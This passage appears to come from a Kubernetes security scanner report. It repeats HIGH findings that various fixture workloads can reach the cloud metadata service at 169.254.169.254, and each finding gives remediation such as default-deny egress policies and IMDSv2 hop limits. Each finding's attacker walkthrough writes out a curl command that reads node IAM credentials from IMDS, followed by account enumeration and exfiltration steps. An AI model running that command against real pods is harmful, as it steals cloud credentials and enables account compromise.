  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in rbac-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec daemon-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"DaemonSet"
workload_name
"daemon-app"
workload_namespace
"rbac-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "DaemonSet",
  "workload_name": "daemon-app",
  "workload_namespace": "rbac-fixtures"
}
HIGH Deployment/cloud-eks-test/imds-pivot-app Workload 7.8
Workload Deployment/cloud-eks-test/imds-pivot-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Workload Deployment/cloud-eks-test/imds-pivot-app runs in namespace cloud-eks-test and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/cloud-eks-test/imds-pivot-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in cloud-eks-test (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imds-pivot-app -n cloud-eks-test -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imds-pivot-app"
workload_namespace
"cloud-eks-test"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imds-pivot-app",
  "workload_namespace": "cloud-eks-test"
}
HIGH Deployment/cloud-eks-test/irsa-admin-app Workload 7.8
Workload Deployment/cloud-eks-test/irsa-admin-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Workload Deployment/cloud-eks-test/irsa-admin-app runs in namespace cloud-eks-test and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/cloud-eks-test/irsa-admin-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in cloud-eks-test (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec irsa-admin-app -n cloud-eks-test -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"irsa-admin-app"
workload_namespace
"cloud-eks-test"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "irsa-admin-app",
  "workload_namespace": "cloud-eks-test"
}
HIGH Deployment/containersec-fixtures/containersec-image Workload 7.8
Workload Deployment/containersec-fixtures/containersec-image has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-image runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-image via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-image -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-image"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-image",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/containersec-fixtures/containersec-lifecycle Workload 7.8
Workload Deployment/containersec-fixtures/containersec-lifecycle has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-lifecycle runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-lifecycle via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-lifecycle -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-lifecycle"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-lifecycle",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/containersec-fixtures/containersec-limits Workload 7.8
Workload Deployment/containersec-fixtures/containersec-limits has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-limits runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-limits via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-limits -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-limits"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-limits",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/containersec-fixtures/containersec-probes Workload 7.8
Workload Deployment/containersec-fixtures/containersec-probes has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Workload Deployment/containersec-fixtures/containersec-probes runs in namespace containersec-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/containersec-fixtures/containersec-probes via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in containersec-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec containersec-probes -n containersec-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"containersec-probes"
workload_namespace
"containersec-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "containersec-probes",
  "workload_namespace": "containersec-fixtures"
}
HIGH Deployment/csr-fixtures/csr-mint-app Workload 7.8
Workload Deployment/csr-fixtures/csr-mint-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Workload Deployment/csr-fixtures/csr-mint-app runs in namespace csr-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/csr-fixtures/csr-mint-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in csr-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec csr-mint-app -n csr-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"csr-mint-app"
workload_namespace
"csr-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "csr-mint-app",
  "workload_namespace": "csr-fixtures"
}
HIGH Deployment/flat-network/api Workload 7.8
Workload Deployment/flat-network/api has an egress policy whose ipBlock: 0.0.0.0/0 admits cloud IMDS (169.254.169.254)
Scope · Workload Workload Deployment/flat-network/api: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/flat-network/api Namespace: flat-network

Workload Deployment/flat-network/api is selected by NetworkPolicy flat-network/allow-broad, which contains an egress to: peer with ipBlock.cidr: 0.0.0.0/0. That CIDR includes 169.254.169.254 and the policy's except: list does not carve it out, so the cloud Instance Metadata Service is reachable from the selected pods.

This is the most common foot-gun in egress policies. Operators often add ipBlock: 0.0.0.0/0 (or 169.254.0.0/16, the full link-local range) to allow "general internet" or "any AWS API" reach, not realizing that the link-local IMDS endpoint is included in the same range. The defense is to add an except: [169.254.169.254/32] carve-out (or to use a narrower allow ipBlock that does not include link-local at all).

On AWS the second-layer defense is IMDSv2 with hop-limit = 1, which blocks pods on the host network from reaching IMDS via the node's address. But hop-limit only helps when the cluster-level NetworkPolicy is also in place; a pod with explicit egress to 0.0.0.0/0 can still construct an IMDSv2 request when the hop-limit allows it.

Impact Despite having an egress NetworkPolicy in place, the workload retains a usable path to cloud IMDS. Container RCE -> cloud-account compromise stays one curl away.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a pod selected by flat-network/allow-broad.spec.podSelector (the policy that admits IMDS).
  2. They reach IMDS at http://169.254.169.254/latest/meta-data/iam/security-credentials/ because the ipBlock: 0.0.0.0/0 allow rule includes the IMDS IP.
  3. They exfiltrate the worker node's IAM credentials and pivot into the cloud account.
  4. The NetworkPolicy gives operators a false sense of "egress is restricted" while the most dangerous destination is still reachable.
  5. On AWS specifically, IMDSv2 hop-limit = 1 may have been deployed at the node level, but the NetworkPolicy's broad ipBlock means the pod can still issue an IMDSv2 token request that the hop-limit permits.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in flat-network (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec api -n flat-network -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
offender_cidr
"0.0.0.0/0"
offender_policy
"flat-network/allow-broad"
reason
"explicit-allow"
workload_kind
"Deployment"
workload_name
"api"
workload_namespace
"flat-network"
Show raw JSON
{
  "offender_cidr": "0.0.0.0/0",
  "offender_policy": "flat-network/allow-broad",
  "reason": "explicit-allow",
  "workload_kind": "Deployment",
  "workload_name": "api",
  "workload_namespace": "flat-network"
}
HIGH Deployment/flat-network/unmatched Workload 7.8
Workload Deployment/flat-network/unmatched has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/flat-network/unmatched: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/flat-network/unmatched Namespace: flat-network

Workload Deployment/flat-network/unmatched runs in namespace flat-network and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

